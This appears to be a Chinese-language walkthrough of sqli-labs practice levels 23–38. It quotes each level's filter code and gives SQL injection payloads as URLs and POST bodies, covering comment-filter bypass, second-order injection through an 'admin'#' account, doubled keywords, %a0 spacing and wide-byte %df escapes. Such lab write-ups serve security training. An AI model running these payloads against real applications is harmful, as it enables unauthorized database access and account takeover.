less 23 GET - Error based - strip comments 基于错误的,过滤注释的GET型
在源码中有这么一段话,过滤了#和--,替换成‘ ’,要想绕过注释过滤,那就只能闭合绕过,多行注释符好像不行
$reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
放一个开头上来 http://sql/Less-23/?id=-1%27union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%203,1),%273
less-24 - Second Degree Injections Real treat -Store Injections 二次注入
这一关有点特别,假设于真的登录网站,通过审计发现,在pass-change的username里是没有过滤的$username= $_SESSION["username"];
,可以从这里入手。而要进入
pass-change 需要logged-in页面下的<form name="mylogin" method="POST" action="pass_change.php">也就是说要先登录进去才可以。所以为了绕过过滤,先注册一个 admin'# 并设置密码为a。在登录进入之后,更新密码为b,退出。此时便已经完成了注入。重新登录时,用admin;b登录即可!
在此题中需注意后台代码的审计和绕过,注意username和password的审计和缺点,仔细思考漏洞存在和可以利用的地方!
`$username= $_SESSION["username"]; (未过虑账户名)
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";`(在此处可以利用username=admin'#完成注入)
less 25 报错注入Trick with OR & AND 过滤了or和and
这一关还是比较简单的,全部过滤了and or ,只要注意在拼接语句的时候把出现了orand的单词的多打一次就好(双写绕过),example or=>oorr,and=>anandd。
放一串开头的,剩下的自己想http://sql/Less-25/?id=-1' union select 1,2,table_name from infoorrmation_schema.tables where table_schema=0x7365637572697479 limit 0,1 %23
less 25 盲注Trick with OR & AND 过滤了or和and
在盲注里要判断是否过滤and or 只需要在id=and1,来试探即可。
剩下的都跟25一样
less 26 Trick with comments and space (过滤了注释和空格的注入)
源码$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id;
可以说常规的注释方法已经没用了,这时候我们就应该想着闭合语句,而不仅仅是注释掉后面的语句。对于空格,emmmm,要不我们还是想想sqlmap吧,为啥我的空格转译都不行嘞=-=
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
一样样。。。
less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
通过基础测试发现空格被过滤了,大小写替换没有过滤,这里环境不行,空格不能转义,我就放一个开头代码,剩下的自己试吧?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1
less 27a GET - Blind Based- All your UNION & SELECT belong to us 同上,盲注版
?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3
less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入
可惜%a0在我这环境里面都用不了 =-=
那我就假装可以用好了!放一个开头用的,老规矩,剩下的自己弄union%a0SELECT%a01,TABLE_NAME,3%a0FROM%a0INFORMATION_SCHEMA.TABLES%a0WHERE%a0TABLE_SCHEMA=0x7365637572697479
less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入
老规矩了。。。我这不行,盲注的话可以自己sqlmap跑起来。
Less - 29 Protection with WAF 用WAF防护
相当于在实战中遇到的防火墙了。。这个有点简单啊
随手打个http://sql/Less-29/?id=-1%27union%20select%201,2,database()%20%23
就试探出来了。。那就再来一个剩下的老规矩http://sql/Less-29/?id=-1%27union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23
Less - 30 waf的盲注
跟上题一样,就是单引号变成双引号
http://sql/Less-30/?id=1%22and%201=1%23
Less - 31 一样的,手工进行判断,发现用“ ") ”来绕过,具体的就不多说了
http://sql/Less-31/?id=-1%22)%20union%20select%201,2,database()%20%23
Less - 32 Bypass custom filter adding slashe 在每个单引号前加/
在这里把 “'” 转译成了“/'” 所以可以用宽字节注入%df'
来一套就可以看出效果来了http://sql/Less-32/?id=-1%df%27union%20select%201,2,database()%20%23
Less - 33 Bypass AddSlashes() 都一样的,懒得弄了
http://sql/Less-33/?id=-1%df%27%20union%20select%201,2,database()%20%23
Less - 34 Bypass AddSlashes() 这题是登录的形式,首先想到的就是用burp,在用了 ‘ ' ’之后,发现变成了“ / ' ”, 所以用宽字节注入%df
放一段,剩下的自己弄呗,要注意这里order by 只有2uname=1%df'union select 1,database() %23&passwd=1&submit=Submit
Less - 35 why care for addslashes() 这道题中在输入了‘ 1' ’后发现,单引号被转译“/'’” 并且报错里发现You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 说明在后台里面id周围没有引号,所以直接干!剩下自己想去,套路都一样
http://sql/Less-35/?id=1%20order%20by%203%20%23
http://sql/Less-35/?id=-1%20union%20select%201,2,database()%20%23
Less - 36 Bypass MySQL Real Escape String 绕过 MySQL_real_escape_string
发现都是一样的套路啊,转译了单引号。。其他的都一样http://sql/Less-36/?id=1%df%27and%201=2%20%23
Less - 37 POST- Bypass MySQL Real Escape String 绕过 MySQL_real_escape_string 用post的方式,直接用burp然后拼接语句
uname=1%df'or 1=1 %23&passwd=1&submit=Submit
可以发现跟35是一样的方法,不赘述了
Less - 38 在进行输入“ 1' ” 的时候,发现报错这样“
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1” 说明 1 旁边多了一个引号,那么该拼接这么一个语句http://sql/Less-38/?id=1%27%20and%20%271%27=%272
来闭合后面的单引号 从而注入,后面就简单了,自己做。